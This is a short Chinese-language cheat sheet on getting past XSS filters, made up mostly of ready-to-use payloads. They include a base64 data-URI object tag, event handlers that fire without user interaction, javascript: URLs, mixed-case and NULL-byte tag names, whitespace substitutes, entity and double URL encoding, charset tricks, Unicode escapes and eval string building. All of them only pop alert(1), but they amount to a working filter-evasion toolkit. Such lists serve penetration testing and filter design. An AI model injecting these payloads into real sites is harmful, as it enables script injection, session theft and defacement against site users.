XSS过滤的绕过
脚本标签
如果script被过滤的话,可以使用伪协议的方法:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为base64编码的<script>alert(1)</script>
事件处理器
不需要用户交互的可执行js的事件处理器:
onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
onpropertychange
onbeforeactivate
onfocusin
onactivate
注意:在HTML5中,结束标签中也可以使用事件处理器
脚本伪协议
脚本伪协议可以用在各种位置,在需要URL的属性中执行行内脚本,如:
<object data=javascript:alert(1)>
标签名称
通过改变标签名称的大小写,可以避开最简单的过滤:
<iMg onerror=alert(1) src=a>
更进一步,可以在任何位置插入NULL字节:
<[%00]img onerror=alert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>
或者,可以将标签作一改变,即可避开仅仅阻止特定标签名的过滤:
<x onclick=alert(1) src=a>Click here</x>
标签名称后的空格
可以使用:/,[%09],[%0d],[%0a],/”,/’来代替,如:
<img/onerror=alert(1) src=a>
通过HTML编码绕过过滤(也可以使用十进制r,十六进制Ĕ)
使用HTML编码,在进一步处理属性值的时候,浏览器会对其进行HTML解码:
<img onerror=alert(1) src=a>
如果存在两次URL解码
可以通过构造:
%253cimg%20onerror=alert(1)%20src=a%253e
第一次URL解码以后:
%3cimg onerror=alert(1) src=a%3e
第二次URL解码以后:
<img onerror=alert(1) src=a>
字符集绕过
UTF-7,US-ASCII,UTF-16(这种方法只有在浏览器支持所用的字符集才可以,或者你可以控制HTTPContent-Type消息头)
使用js转义
Unicode转义可以用于表示js关键词中的字符
<script>a\u006cert(1);</script>
通过eval命令来动态构建字符串
<script>eval('al'+'ert(1)');</script>
替代eval的方法
`<script>'alert(1)'.replace(/.+/,eval)</script>`
---------------------